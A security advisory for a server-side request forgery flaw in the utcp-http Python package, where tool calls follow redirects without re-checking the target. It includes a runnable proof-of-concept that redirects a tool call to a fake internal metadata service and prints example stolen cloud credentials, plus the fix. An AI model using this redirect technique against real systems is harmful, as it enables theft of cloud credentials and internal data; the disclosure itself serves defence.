GHSA-9qhg-99ww-9mqc

GHSA-9qhg-99ww-9mqc · utcp-http SSRF: HTTP tool invocation follows redirects without re-validating the target

Cette page présente des faits issus de sources publiques. Consultez l’avis original avant toute mise à jour.

## Summary `HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive. This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects. ## Root cause 1. The resolved URL is validated once, before the request: https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281 2. The request is then made with aiohttp's default `allow_redirects=True` and no per-hop revalidation, so the redirect target bypasses the check entirely: https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332 The validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it. ## Reachability Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required. ## Preconditions - The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised. - The initial tool URL passes `ensure_secure_url` — trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`. - The tool is invoked (`call_tool`) after registration. - An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint). - The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body. - For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable. ## PoC The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`. Run: `pip install utcp-http==1.1.3 aiohttp && python poc.py` ```python import asyncio, socket from aiohttp import web from utcp_http.http_communication_protocol import HttpCommunicationProtocol from utcp_http.http_call_template import HttpCallTemplate MD = "/latest/meta-data/iam/security-credentials/app-role" STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY", "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"} def lan_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0] finally: s.close() async def main(): internal = lan_ip() meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN)) mr = web.AppRunner(meta, access_log=None); await mr.setup() ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start() internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}" atk = web.Application() atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url})) ar = web.AppRunner(atk, access_log=None); await ar.setup() as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start() tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool" proto = HttpCommunicationProtocol() ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET") # passes the validator result = await proto.call_tool(None, "lookup", {}, ct) # follows 302 -> internal print("caller received:", result) await ar.cleanup(); await mr.cleanup() asyncio.run(main()) ``` Output: ``` caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'} ``` ## Impact Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block. ## Possible fix Disable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop's `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well. ## Patched Fixed in `utcp-http` 1.1.4. `_security.py` now ships `safe_request_with_redirects`, a per-hop revalidator that disables aiohttp's auto-follow, runs `ensure_secure_url` on every `Location` header before issuing the next hop, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP plugins use it for both `register_manual` and `call_tool`; SSE + streamable handshakes additionally reject any 3xx outright because the streaming response has to stay open for the lifetime of the call. The OAuth2 token-fetch path uses the same helper, closing the redirect-on-token-URL variant. The sister TypeScript implementation `@utcp/http` is fixed the same way in 1.1.4. Upgrade to `utcp-http >= 1.1.4`. No workaround in earlier versions short of disabling all attacker-influenced manuals.

CVSS 8.2 · Élevée · Correctif disponible

Publication

2026-08-25T15:48:51Z

Mise à jour

2026-08-25T23:58:07.304702919Z

Pile logicielle: python

Vérifiez votre serveur →